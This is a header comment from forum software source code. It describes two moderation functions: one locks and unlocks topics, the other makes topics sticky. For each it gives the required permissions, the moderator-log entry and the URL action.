/*	This file only takes care of two things - locking and stickying.

	void LockTopic()
		- locks a topic, toggles between locked/unlocked/admin locked.
		- only admins can unlock topics locked by other admins.
		- requires the lock_own or lock_any permission.
		- logs the action to the moderator log.
		- returns to the topic after it is done.
		- accessed via ?action=lock.

	void Sticky()
		- stickies a topic - toggles between sticky and normal.
		- requires the make_sticky permission.
		- adds an entry to the moderator log.
		- when done, sends the user back to the topic.
		- accessed via ?action=sticky.
